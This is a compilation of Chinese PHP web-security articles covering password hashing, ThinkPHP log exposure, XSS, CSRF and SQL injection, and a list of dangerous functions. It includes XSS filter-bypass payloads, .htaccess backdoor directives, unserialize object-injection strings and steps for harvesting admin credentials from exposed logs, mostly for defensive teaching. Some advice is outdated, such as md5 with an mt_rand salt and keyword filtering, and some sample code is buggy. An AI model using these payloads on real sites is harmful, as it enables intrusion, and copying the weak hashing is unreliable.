php安全

PHP的安全使用之密码哈希处理

绝对不能知道用户的密码,我们必须将用户的密码进行加密处理,不能将用户的原始密码直接保存在数据库。不要限制用户密码格式,如果规定格式的话,很可能被攻击者利用并破解,当然我们需要限制密码的最小长度即可,建议最少8位,越长越好。对于密码安全,开发者需要做到:1、绝对不能知道用户的密码,我们必须将用户的密码进行加密处理,不能将用户的原始密码直接保存在数据库。2、不要限制用户密码格式,如果规定格式的话,很可能被攻击者利用并破解,当然我们需要限制密码的最小长度即可,建议最少8位,越长越好。3、不能通过邮箱发送用户密码,我们在开发邮件找回密码的应用时,并不是将用户密码通过邮件告知给用户,而是将重置密码的链接以邮件的形式发给用户,让用户自己去重新设置密码。MD5加盐与安全PHP开发者对md5()这个函数是熟悉不过了,很多开发者都使用md5('abc123')对用户密码进行加密处理,这样做没有错,但是安全性还是很低的,因为很多网站的用户数据都是用md5进行加密处理的,所以就发生了撞库事件,最典型的就是前些年12306火车票网站上的用户信息泄露事件。很多人在多个网站使用相同的密码,黑客将A站的用户密码和B站的密码对比发现是相同的,于是A站的密码就登录上了B站。另外一个,md5算法很早就能破解了,所以单单md5处理是不安全的。那么我们可以使用md5加salt来增强加密后的密码安全性,salt及盐值,这个值要随机生成,可在用户注册的时候和密码一起生成并保存到数据库中,用户登录验证的时候再把密码和盐值一起组合验证。

$password = '1dhsh#sdLs';$salt = randStr();$md5pass = md5('hello'.$password.$salt);function randStr($length = 8){$randpwd = ''; for ($i = 0; $i < $length; $i++){ $randpwd .= chr(mt_rand(33, 126)); } return $randpwd;}

上面的代码将密码和盐值以及常量混合,再md5的到一个复杂的加密后的字符串,然后将加密后的字符串$md5pass和盐值$salt保存到数据表中,验证的时候再拿出来,按照同样的方式组合,如果组合加密后的字符串与数据表中的$md5pass值一样,那么就验证成功了。总的来说设置相对复杂的密码加盐处理后破解难度还是很大的。password_hash密码哈希与安全PHP版本 >= 5.5 时,可以使用 password_hash()和password_verify()来对用户的密码进行加密和验证。对于密码加盐处理,password_hash函数现在使用的是目前 PHP 所支持的最强大的加密算法 BCrypt 。 当然,此函数未来会支持更多的加密算法。 事实上password_hash()已经帮我们处理好了加盐。加进去的随机子串通过加密算法自动保存着,成为哈希的一部分。password_verify()会把随机子串从中提取,所以你不必使用另一个数据库来记录这些随机子串,大大简化了计算密码哈希值和验证密码的操作。我们使用实例来熟悉password_hash的用法。首先来看注册用户register.php部分。try {// 验证email $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL); if (!$email) { throw new Exception('非法的Email'); } // 验证密码 $password = filter_input(INPUT_POST, 'password'); if (!$password || mb_strlen($password) < 8) { throw new Exception('密码长度必须大于8位'); } // 检测用户名是否已存在 $sql = "SELECT username FROM user WHERE username=:username"; $stmt = $db->prepare($sql); $stmt->execute(array( ':username' => $email )); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { exit('用户Email已存在'); } // 创建密码哈希值 $passwordHash = password_hash( $password, PASSWORD_DEFAULT, ['cost' => 12] ); if ($passwordHash === false) { throw new Exception('Password hash failed'); } $sql_insert = "INSERT INTO `user` (username,password) VALUES (:username,:password)"; $stmt = $db->prepare($sql_insert); $stmt->execute(array( ':username' => $email, ':password' => $passwordHash, )); $insert_id = $db->lastinsertid(); if ($insert_id) { // 重定向到登录页面 header('HTTP/1.1 302 Redirect'); header('Location: login.html'); }} catch (Exception $e) { // 报告错误 header('HTTP/1.1 400 Bad request'); echo $e->getMessage();}

shangshang再来看登录验证login.php部分。上述代码中,首先验证用户的Email和密码,如果不符合就抛出异常。然后使用password_hash()函数来创建密码哈希值,这个函数第一个参数是纯文本密码;第二个参数是PASSWORD_DEFAULT常量,它告诉PHP使用bcrypt哈希算法;第三个参数是一个数组,指定哈希选项,这个数组中的cost用于设定工作因子,默认是10,可以根据硬件能力提高这个值。最后创建帐户将数据写入数据表中。session_start();try {// 获取post的email $email = filter_input(INPUT_POST, 'email'); // 获取登录密码 $password = filter_input(INPUT_POST, 'password'); // 查找用户 $sql = "SELECT id,password FROM user WHERE username=:username"; $stmt = $db->prepare($sql); $stmt->execute(array( ':username' => $email )); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) { exit('用户不存在'); } // 验证密码 if (password_verify($password, $row['password']) === false) { exit('密码错误!'); } // 保存session会话 $_SESSION['user_logged_in'] = 'yes'; $_SESSION['user_email'] = $email; // 重定向跳转 header('HTTP/1.1 302 Redirect'); header('Location: user.php');} catch (Exception $e) { header('HTTP/1.1 401 Unauthorized'); echo $e->getMessage();}

上述代码首先获取用户Email和密码,然后根据Email查找数据表中是否存在该Email,如果存在则将注册时加密的密码hash取出来;然后使用password_verify()函数验证密码,password_verify()函数有两个参数,第一个参数是纯文本密码,第二个参数是用户数据表中读取出来的密码hash值。如果该函数返回true,说明密码正确,否则,密码错误,终止登录。

当过去一段时间后,我们想将用户加密的哈希密码增强升级,可以使用password_needs_rehash()来检查用户密码哈希值是否需要更新,比如将工作因子从10升到20,重新计算密码哈希值,让密码变得更安全。

如果你的php版本是在5.3.7~5.5之间,可以使用password_hash的替代方案:password_compat。

展开
收起

ThinkPHP基础安全防御之Niushop

【前言】

ThinkPHP MVC框架越来被开发者接受,众多的开发者选择了这个框架,也有很多的优秀项目使用的ThinkPHP框架。最近整理了一下ThinkPHP项目的一些安全配置。可能并不适用全部项目,大家可以适当的使用如下的安全配置。

【正文】

随着利用ThinkPHP框架的产品犹如雨中芦笋一般,不断的发展和壮大,但基于ThinkPHP的产品也有一大把,这里我就不过多的讲述,大家可以自行百度。那么系统的安全也就随之而来,例如我们常说的:一句话木马、WEBshell等等,今天笨小猪就给大家透露一个通过简单的又很便捷的基础性防御,同时从根源上杜绝我们的runtime(ThinkPHP中的运行时)、application(应用配置文件)从而禁止下载文件,我们先看下下面的真实案例:

【案例】

【提示】本文的案例只是警示那些不注重安全的人,但不乏有一些居心的人进行非法获取相关数据,本次基础性防御就是针对这类似问题,并非教大家如何去犯罪。

【场景还原】

我们都知道runtime下的log(日志文件)生成的规则都是在runtime/log/下,同时是以当前日期生成文件(例如:/runtime/log/202007/27.log),然后以当前日期生成(**.log,**代表当前月份下的日)文件(详见如下图)

注意,特别注意,这些日志都是可以通过下载器进行下载的,那么下载出来的日志文件有哪些呢?我们可以将下载出来。

我们将下载出来日志我们进行常规性的搜索,例如某些网站默认使用的依旧是admin,那么我们可以通过搜索admin,可以索引到对应的字眼,上图仅仅是一个参考,同时里面有对应的账号和密码(这里的账号和密码都是可以进行登录的,同时这里的MD5大家可以去进行校验[提示]前提知晓后台路径,当然,后台路径也都是可以在日志中分析出来)那么如何将后台分析出来呢?我们继续往下看,我们可以通过最常规的手段进行索引,例如我们常见的就是login或者admin,那么我们可以进行以login或admin进行筛选,结果如下:

上图就是我们从日志中获取到后台网址,可以从浏览器中打开并输入日志中的账号和密码予以验证,那么我们如何防御他?跟着笨小猪往下操作。

【代码防御一】

代码防御仅仅是修改对应的文件,那么我们只需要修改系统中的application/config..php中(注意:不同产品位置不同,这里以Niushop为例,其他产品请以实际产品为准),找到log,将file改为test,将让他不再生成日志文件(详见下图),但是彻底关闭也是不可行的,譬如开发者需要用得上日志,那么我们该如何禁止呢?我们可以看看防御二。

【安全防御二】

我们可以通过NGINX对应的规则将文件拦截拒之门外,让外面得人无法进行下载对应的文件,那么我们该如何控制呢?我们可以在宝塔伪静态或者配置文件添加以下代码:

#禁止访问的文件或目录

location ~ ^/(runtime/|application/)

{

return 404;#此处是返回报错页面,可以是444

}

添加上面的代码之后,他的含义就是禁止访问runtime、application文件并返回404错误,同时无法进行使用下载器下载我们的日志,我们可以试下具体效果:

通过上面的简单的部署,防御二可以利于开发者分析数据,同时也杜绝了外面的人下载我们的日志,这也做到了我们日志文件的安全。这仅仅是最基础的安全防御,往后我们还要进行防篡改之类的安全部署。好了,文章就写到这里了,谢谢大家花时间阅读,感谢大家关注笨小猪我哦

【原创声明】本文章是由笨小猪原创且配合Niushop编写,未经作者许可,禁止任何单位组织和个人转载到各大平台、论坛、博客等等。

展开
收起

PHP开发中经常遇到的Web安全漏洞防御详解

程序员需要掌握基本的web安全知识,防患于未然,你们知道有多少种web安全漏洞吗?这里不妨列举10项吧,你们可以自己去网站找相应的教程来提升自己的1、命令注入(Command Injection)2、eval注入(Eval Injection)3、客户端脚本攻击(Script Insertion)4、跨网站脚本攻击(Cross Site Scripting, XSS)5、SQL注入攻击(SQL injection)6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7、Session 会话劫持(Session Hijacking)8 Session 会话固定(Sessionfixation)9、HTTP响应拆分攻击(HTTP Response Splitting)10、文件上传漏洞(File Upload Attack)

这篇文章主要给大家介绍最经常遇到的3个:XXS,CSRF, SQL注入。一、XSS漏洞1.XSS简介XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS。攻击者主要使用跨站点脚本来读取Cookie或网站用户的其他个人数据。 一旦攻击者获得了这些数据,他就可以假装是该用户登录网站并获得该用户的权限。2.跨站点脚本攻击的一般步骤1,攻击者以某种方式将xss http链接发送给目标用户2.目标用户登录该网站并打开攻击者在登录过程中发送的xss链接。3.网站执行了这个xss攻击脚本4.目标用户页面跳转到攻击者的网站,攻击者获得了目标用户的信息5.攻击者使用目标用户的信息登录网站以完成攻击3. XSS攻击的危险1.窃取用户信息,例如登录帐户,网上银行帐户等。2.使用用户身份读取,篡改,添加,删除公司敏感数据等3.重要商业价值数据的盗窃4.非法转移5.强制电子邮件6.网站挂马7,控制受害者的机器对其他网站发起攻击

4.防止XSS解决方案1)XSS的根本原因是客户端提交的数据未完全过滤,因此重点是过滤用户提交的信息。2)将重要的cookie标记为http only,因此js中的document.cookie语句将不会获取cookie。3)仅允许用户输入我们期望的数据。 例如:年龄 age只允许用户输入数字,数字外的字符被过滤掉。4)对数据进行Html编码处理:当用户提交数据时,将其进行HTML编码,并且在下一次处理之前,将相应的符号转换为实体名称。5)过滤或删除特殊的HTML标签,例如:<script>,<iframe>,<for <,> for>,6)过滤js事件的标签。例如 "onclick=", "onfocus" 等等。二、CSRF攻击(跨站点请求伪造)1.CSRF简介CSRF(Cross Site Request Forgeries),意为跨网站请求伪造,也有写为XSRF。攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。2.CSRF攻击的危害主要危害来自攻击者窃取用户身份并发送恶意请求。 例如:模拟用户的行为,以发送电子邮件,发送消息以及保护诸如付款和转账之类的财产。例如:某个购物网站购买商品时,采用http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接那么如果目标用户不小心访问以后,购买的数量就成了1000个。3.防止CSRF的解决方案1)POST用于接收重要的数据交互。 当然,POST不是万能药。 锻造形式可能会破裂。2)使用验证码。 只要涉及数据交互,请首先验证验证码。 这种方法可以完全解决CSRF。 但是,出于用户体验的考虑,网站无法向所有操作添加验证码。 因此,验证码只能用作辅助方法,而不能用作主要解决方案。3)验证HTTP Referer字段,该字段记录HTTP请求的源地址。 最常见的应用是图片防盗链。4)为每个表单添加令牌并进行验证。三、SQL注入攻击(SQL injection)1 SQL注入所谓的SQL注入攻击,即当某些程序员编写代码时,他们没有判断用户输入数据的合法性,这使应用程序成为潜在的安全隐患。 用户可以提交一段数据库查询代码,并根据程序返回的结果获取一些他想知道的数据。SQL注入攻击是一种攻击者,他以某种形式提交精心构造的sql语句并更改原始sql语句。 如果Web程序未检查提交的数据,将导致SQL注入攻击。2 SQL注入攻击的一般步骤:1)攻击者访问带有SQL注入漏洞的站点,并寻找注入点2)攻击者构造注入语句,并将注入语句与程序中的SQL语句组合以生成新的SQL语句3)将新的SQL语句提交到数据库进行处理4)数据库执行新的SQL语句,引起SQL注入攻击3 防止SQL注入的方式通常,SQL注入的位置包括:1)表单提交,主要是POST请求,包括GET请求;2)URL参数提交,主要是GET请求参数;3)提交Cookie参数;4)HTTP请求标头中的一些可修改值,例如Referer,User_Agent等;4.举例举一个简单的例子,select * from user where id=100 ,表示查询id为100的用户信息,如果id=100变为 id=100 or 2=2,sql将变为:select * from user where id=100 or 2=2,将把所有user表的信息查询出来,这就是典型的sql注入。5.防止SQL注入的解决方案1)验证用户的输入并使用正则表达式过滤传入的参数2)使用参数化语句,不拼接SQL,也可以使用安全存储过程3)不要对每个应用程序使用具有管理员特权的数据库连接,而对特权限制使用数据库连接4)检查数据存储类型5)重要信息必须加密

以上是本文的全部内容,希望对大家的学习有帮助,也希望大家多多支持 php自学中心 感谢阅读!

展开
收起

禁用危险函数-PHP安全

PHP配置文件中的disable_functions选项能够在PHP中禁用函数,PHP内置函数中存在很多危险性极高的函数,在生成环境上一定要注意使用。如果设置不当,严重可能造成系统崩溃。

PHP

内置函数是一把双刃剑,既能帮助开发人员解决问题,同时也会给安全上造成隐患,所以合理的使用内置函数是一个置关重要的问题,下面一起来看一下危险的内置函数。

chgrp

函数功能:改变文件或目录所属的用户组;

危害性:高

chown

函数功能:改变文件或目录的所有者;

危害性:高

chroot

函数功能:改变当前PHP进程的工作根目录,仅当系统支持CLI模式时PHP才能工作,且该函数不适用于Windows系统;

危害性:高

dl

函数功能:在PHP运行过程中(非启动时)加载一个PHP外部模块;

危害性:高

exec

函数功能:允许执行一个外部程序,如unix shell或cmd命令等;

危害性:高

ini_alter

函数功能:是ini_set()函数的一个别名函数,功能与ini_set()相同;

危害性:高

ini_restore

函数功能:可用于将PHP环境配置函数恢复为初始值;

危害性:高

ini_set

函数功能:可用于修改、设置PHP环境配置参数;

危害性:高

passthru

函数功能:允许执行一个外部程序并显示输出,类似于exec();

危害性:高

pfsockopen

函数功能:建立一个Internet或unix域的socket持久连接;

危害性:高

phpinfo

函数功能:输出PHP环境信息以及相关模块、Web环境信息;

危害性:高

popen

函数功能:可通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行。

危害性:高

proc_get_status

函数功能:获取使用proc_open()所打开进程信息;

危害性:高

proc_open

执行一个命令并打开文件指针用于读取以及写入;

危害性:高

putenv

用户PHP运行时改变系统字符集环境,在低于5.2.6版本的PHP中,可利用该函数修改系统字符集环境后,利用sendmail指令发送特殊参数执行系统shell命令;

危害性:高

readlink

函数功能:返回符号连接执行的目标文件内容;

危害性:中

scandir

函数功能:列出指定路径中的文件和目录;

危害性:中

shell_exec

函数功能:通过shell执行命令,并将执行结果作为字符串返回;

危害性:高

stream_socket_server

函数功能:建立一个Internet或unix服务器连接;

危害性:中

symlink

函数功能:对已有的target建立一个名为link的符号连接;

危害性:高

syslog

函数功能:可调用unix系统的系统层syslog()函数;

危害性:中

system

函数功能:允许执行一个外部程序并回显输出,类似于passthru();

危害性:高

展开
收起

Web应用PHP程序安全很重要,一个小错误就有可能致命

  Web应用PHP程序安全很重要,一个小错误就有可能致命

张新全

  密码哈希

  每个人在建构 PHP 应用时终究都会加入用户登录的模块。用户的帐号及密码会被储存在数据库中,在登录时用来验证用户。

  在存储密码前正确的 哈希密码 是非常重要的。哈希密码是单向不可逆的,该哈希值是一段固定长度的字符串且无法逆向推算出原始密码。这就代表你可以哈希另一串密码,来比较两者是否是同一个密码,但又无需知道原始的密码。如果你不将密码哈希,那么当未授权的第三者进入你的数据库时,所有用户的帐号资料将会一览无遗。有些用户可能(很不幸的)在别的网站也使用相同的密码。所以务必要重视数据安全的问题。

  密码应该单独被 加盐处理 ,加盐值指的是在哈希之前先加入随机子串。以此来防范「字典破解」或者「彩虹碰撞」(一个可以保存了通用哈希后的密码数据库,可用来逆向推出密码)。

  哈希和加盐非常重要,因为很多情况下,用户会在不同的服务中选择使用同一个密码,密码的安全性很低。

  值得庆幸的是,在 PHP 中这些很容易做到。

  使用 password_hash 来哈希密码

  password_hash 函数在 PHP 5.5 时被引入。 此函数现在使用的是目前 PHP 所支持的最强大的加密算法 BCrypt 。 当然,此函数未来会支持更多的加密算法。 password_compat 库的出现是为了提供对 PHP >= 5.3.7 版本的支持。

  在下面例子中,我们哈希一个字符串,然后和新的哈希值对比。因为我们使用的两个字符串是不同的(’secret-password’ 与 ‘bad-password’),所以登录失败。

  <?php

  require 'password.php';

  $passwordHash = password_hash('secret-password', PASSWORD_DEFAULT);

  if (password_verify('bad-password', $passwordHash)) {

  // Correct Password

  } else {

  // Wrong password

  }

  password_hash() 已经帮你处理好了加盐。加进去的随机子串通过加密算法自动保存着,成为哈希的一部分。password_verify() 会把随机子串从中提取,所以你不必使用另一个数据库来记录这些随机子串。

  了解 password_hash()

  PHP >= 5.3.7 && < 5.5 的 password_compat

  了解密码学中的哈希

  学习下加盐

  PHP password_hash() RFC

  数据过滤

  永远不要信任外部输入。请在使用外部输入前进行过滤和验证。filter_var() 和 filter_input() 函数可以过滤文本并对格式进行校验(例如 email 地址)。

  外部输入可以是任何东西:$_GET 和 $_POST 等表单输入数据,$_SERVER 超全局变量中的某些值,还有通过 fopen('php://input', 'r') 得到的 HTTP 请求体。记住,外部输入的定义并不局限于用户通过表单提交的数据。上传和下载的文档,session 值,cookie 数据,还有来自第三方 web 服务的数据,这些都是外部输入。

  虽然外部输入可以被存储、组合并在以后继续使用,但它依旧是外部输入。每次你处理、输出、连结或在代码中包含时,请提醒自己检查数据是否已经安全地完成了过滤。

  数据可以根据不同的目的进行不同的 过滤 。比如,当原始的外部输入被传入到了 HTML 页面的输出当中,它可以在你的站点上执行 HTML 和 JavaScript 脚本!这属于跨站脚本攻击(XSS),是一种很有杀伤力的攻击方式。一种避免 XSS 攻击的方法是在输出到页面前对所有用户生成的数据进行清理,使用 strip_tags() 函数来去除 HTML 标签或者使用 htmlentities() 或是 htmlspecialchars() 函数来对特殊字符分别进行转义从而得到各自的 HTML 实体。

  另一个例子是传入能够在命令行中执行的选项。这是非常危险的(同时也是一个不好的做法),但是你可以使用自带的 escapeshellarg() 函数来过滤执行命令的参数。

  最后的一个例子是接受外部输入来从文件系统中加载文件。这可以通过将文件名修改为文件路径来进行利用。你需要过滤掉"/", "/", null 字符或者其他文件路径的字符来确保不会去加载隐藏、私有或者敏感的文件。

  数据清理

  数据清理是指删除(或转义)外部输入中的非法和不安全的字符。

  例如,你需要在将外部输入包含在 HTML 中或者插入到原始的 SQL 请求之前对它进行过滤。当你使用 PDO 中的限制参数功能时,它会自动为你完成过滤的工作。

  有些时候你可能需要允许一些安全的 HTML 标签输入进来并被包含在输出的 HTML 页面中,但这实现起来并不容易。尽管有一些像 HTML Purifier 的白名单类库为了这个原因而出现,实际上更多的人通过使用其他更加严格的格式限制方式例如使用 Markdown 或 BBCode 来避免出现问题。

  查看 Sanitization Filters

  反序列化 Unserialization

  使用 unserialize() 从用户或者其他不可信的渠道中提取数据是非常危险的事情。这样做会触发恶意实例化对象(包含用户定义的属性),即使对象没用被使用,也会触发运行对象的析构函数。所以你应该避免从不可信渠道反序列化数据。

  如果你必须这样做,请你使用 PHP 7 的 allowed_classes 选项来限制反序列化的对象类型。

  有效性验证

  验证是来确保外部输入的是你所想要的内容。比如,你也许需要在处理注册申请时验证 email 地址、手机号码或者年龄等信息的有效性。

  查看 Validation Filters

  配置文件

  当你在为你的应用程序创建配置文件时,最好的选择时参照以下的做法:

  推荐你将你的配置信息存储在无法被直接读取和上传的位置上。

  如果你一定要存储配置文件在根目录下,那么请使用 .php 的扩展名来进行命名。这将可以确保即使脚本被直接访问到,它也不会被以明文的形式输出出来。

  配置文件中的信息需要被针对性的保护起来,对其进行加密或者设置访问权限。

  建议不要把敏感信息如密码或者 API 令牌放到版本控制器中。

  注册全局变量

  注意: 自 PHP 5.4.0 开始,register_globals 选项已经被移除并不再使用。这是在提醒你如果你正在升级旧的应用程序的话,你需要注意这一点。

  当 register_globals 选项被开启时,它会使许多类型的变量(包括 $_POST, $_GET 和 $_REQUEST)被注册为全局变量。这将很容易使你的程序无法有效地判断数据的来源并导致安全问题。

  例如:$_GET['foo'] 可以通过 $foo 被访问到,也就是可以对未声明的变量进行覆盖。如果你使用低于 5.4.0 版本的 PHP 的话,请 确保 register_globals 是被设为 off 的。

  在 PHP 手册中了解 Register_globals

  错误报告

  错误日志对于发现程序中的错误是非常有帮助的,但是有些时候它也会将应用程序的结构暴露给外部。为了有效的保护你的应用程序不受到由此而引发的问题。你需要将在你的服务器上使用开发和生产(线上)两套不同的配置。

  开发环境

  为了在 开发 环境中显示所有可能的错误,将你的 php.ini 进行如下配置:

  display_errors = On

  display_startup_errors = On

  error_reporting = -1

  log_errors = On

  将值设为 -1 将会显示出所有的错误,甚至包括在未来的 PHP 版本中新增加的类型和参数。 和 PHP 5.4 起开始使用的 E_ALL 是相同的。- php.net

  E_STRICT 类型的错误是在 5.3.0 中被引入的,并没有被包含在 E_ALL 中。然而从 5.4.0 开始,它被包含在了 E_ALL 中。这意味着什么?这表示如果你想要在 5.3 中显示所有的错误信息,你需要使用 -1 或者 E_ALL | E_STRICT。

  不同 PHP 版本下开启全部错误显示

  < 5.3 -1 或 E_ALL

  5.3 -1 或 E_ALL | E_STRICT

  > 5.3 -1 或 E_ALL

  生产环境

  为了在 生产 环境中隐藏错误显示,将你的 php.ini 进行如下配置:

  display_errors = Off

  display_startup_errors = Off

  error_reporting = E_ALL

  log_errors = On

  当在生产环境中使用这个配置时,错误信息依旧会被照常存储在 web 服务器的错误日志中,唯一不同的是将不再显示给用户。更多关于设置的信息,请参考 PHP 手册:

  错误报告

  显示错误

  显示启动错误

  记录错误

展开
收起

PHP开发中的常见安全问题总结

一、SQL注入

SQL注入是WEB开发中常见的安全问题,也是比较严重的安全问题。

SQL注入发生的根本原因就是WEB页面间传递参数时没有作相应的检查和过滤。

SQL注入的防御方法:如果是数字参数,一定要检查是否为数字型,不要使用PHP的内置函数检查,自己写一个正则表达式;字符参数,过滤常见的SQL语句关键字。

二、XSS漏洞

XSS漏洞也是跟页面参数有关的。

遵循良好的页面代码习惯即可防范出现XSS漏洞,即:任何页面在接收参数时,在最开始的代码处,先检查参数的合法性(合法性检查包括类型合法、安全合法、逻辑合法),对参数进行XSS过滤即可。

没有检查的参数,如果在网页代码中输出,即会造成XSS漏洞。

三、表单输入在经JS检查以后必须要使用PHP再次检查

JS检查表单输入是否合法,是为了提高用户体验,但并不安全。JS检查代码是最容易绕过去的,在黑客面前基本上等于形同虚设。

总之,开发人员不能信赖前端JS对于参数的检查或过滤。

四、避免传递不必要的参数

比如一篇新闻的详情页面的地址为news.php?id=3&sort=5,id是该新闻的唯一标识(系统编号),sort是分类的编号。类似于这种情况,sort这个参数就是没有必要传递的,因为设计正确的数据库中,能够通过id=3查询到sort=5。

传递不必要的参数,如果不经一致性检查,在故意传递错的参数的情况下,可以造成页面内容显示不合理,有的情况下还能造成“看到别人的数据”的安全问题。

五、如何避免“看到别人的数据”?

笔者记得在读大学的时候,在学校教学系统查看成绩单的时候,在网址的参数中,把自己的学号改为其他人的学号,就能看到别人的成绩单。相信不少人在各种各样的信息系统或网站上有过类似的经历。

这类问题的发生原因,主要是编写程序时,把当前登录用户的标识,放在参数中进行传递,然后又未对参数的合法性或者完整性进行检查。

避免这类问题的一般方法:用户登录以后,使用session存储和获取当前登录用户的唯一标识,不在页面间进行传递。

综上所述:PHP开发中的遇到的大多数常见安全问题,都是由于页面间传递参数导致的,一方面尽量减少参数传递,能不传就不传,能少传就少传;一方面只要是传递参数,在接收参数的页面,最先进行参数的各种检查,所有检查通过了,再让参数进入业务函数中。

展开
收起

PHP安全篇之XSS攻击

XSS,全称Cross Site Scripting,即跨站脚本攻击,从某种意义上来讲也是一种注入攻击,具体指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

什么是反射型XSS攻击,在这里分四个安全级别的代码进行说明:

1、低安全级别

<?php//服务器端代码:if (isset($_GET['username'])) {// todo 业务代码 echo 'Hello ' . $_GET['username'];}

上面代码直接使用了$_GET['username']参数,并没有做任何的过滤与检查,存在明显的xss漏洞。

漏洞利用:

输入<script>alert(/xss/)</script>后,成功弹窗。

低安全级别

2、中等安全级别

<?php//服务器端代码 if(isset($_GET['username'])) { // todo 业务代码 $username = str_replace( '<script>', '', $_GET[ 'username' ] ); echo "Hello ${username}";}

上面的代码对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>标签替换为空,但是这种防御机制很容易轻松绕过。

漏洞利用:

输入<sc<script>ript>alert(/xss/)</script>,会成功弹框。

输入<ScRipt>alert(/xss/)</script>,也会成功弹框。

中等安全级别

3、高安全级别

<?php //服务器端代码 if(isset($_GET['username'])) { //todo 业务代码 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'username' ] ); echo "Hello ${username}"; }

上面的代码同样使用黑名单过滤输入,使用正则表达式函数对相关黑名单字符进行替换空,这种防御机制虽然可以有效过滤掉2中两种漏洞利用,但仍然可以进行攻击。

漏洞利用:

虽然无法使用<script>标签注入攻击代码,但是可以通过img、body等标签的事件或iframe等标签的src注入恶意javascript代码。如输入:<img src=1 onerror=alert(/xss/)>,会成功弹窗。

高安全级别

4、非常高安全级别(impossible)

<?php //服务器端代码 if(isset($_GET['username'])) { //todo 业务代码 //使用htmlspecialchars函数过滤 $name = htmlspecialchars($_GET[ 'username' ]); echo "Hello ${username}"; }

上面的代码使用PHP提供的函数htmlspecialchars把预定义的字符转为HTML实体,防止浏览器将其作为HTML元素解析。到这个级别已经可以达到大多数系统的要求了,当然也可以自己写方法进行xss攻击防御。

写代码,不仅要知道怎么写,还应该知道为什么这么写,举一反三,多思考,才能在以后的技术道路上越走越远。

我是一名从传统制造业转行过来的码农,现已在it行业工作快3年,自我感觉转行成功,虽然跟科班出身的同事相比基础差了些,但是我也在不断努力提升自己,希望自己变得越来越好。如果喜欢我的文章,欢迎转发~~ 关注我,后续更精彩哦~~

展开
收起

php代码渗透测试 后门分析篇

很多想做渗透测试的朋友都想了解关于PHP后门漏洞的安全测试重点方法,以及该如何预防被中php后门,本节由我们的Sine安全高级渗透工程师进行全面的讲解,来让大家更好的理解和了解php代码的安全检测,让网站得到最大化的安全保障,安全保障了,网站才能更长远的运行下去。

4.1.1. 后门

4.1.1.1. php.ini构成的后门

利用 auto_prepend_file 和 include_path

4.1.1.2. .htaccess后门

php_value auto_append_file .htaccess

#<?php phpinfo();

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==

#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

4.1.1.3. .user.ini文件构成的PHP后门

.user.ini可运行于所有以fastcgi运行的server。利用方式同php.in

4.1.2. 反序列化

4.1.2.1. PHP序列化实现

PHP序列化处理共有三种,分别为php_serialize、php_binary和 WDDX,默认为php_serialize,可通过配置中的 session.serialize_handler 修改。

其中php_serialize的实现在 php-src/ext/standard/var.c 中,主要函数为 php_var_serialize_intern ,序列化后的格式如下:

booleanb:<value>;b:1; // trueb:0; // falseintegeri:<value>;doubled:<value>;NULLN;strings:<length>:"<value>";s:1:"s";arraya:<length>:{key, value};a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");objectO:<class_name_length>:"<class_name><number_of_properties>:{<properties>};reference指针类型R:reference;O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}$a = new A();$a->a=1;$a->b=&$a->a;4.1.2.2. PHP反序列化漏洞

php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。

下面提供一个简单的demo.

利用 auto_prepend_file 和 include_path

输出

construct

Data's value is raw value.

destruct

string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

把序列化的字符串修改一下后,执行

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出

wake up

Data's value is malicious value.

destruct

这里看到,值被修改了.

上面是一个 unserialize() 的简单应用,不难看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在 __wakeup() 中加入判断是否可以阻止这个漏洞呢?在 __wakeup() 中我们加入一行代码

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出

Data's value is malicious value.

destruct

这里wakeup被绕过,值依旧被修改了。

4.1.3. Disable Functions

4.1.3.1. 机制实现

PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。

这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:

和函数的实现方式类似,disable classes也是这样实现的

因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functions 或 disable_classes 是无效的。

4.1.3.2. Bypass

LD_PRELOAD绕过PHP OPcacheMail函数imap_open4.1.4. Open Basedir

4.1.4.1. 机制实现

PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:

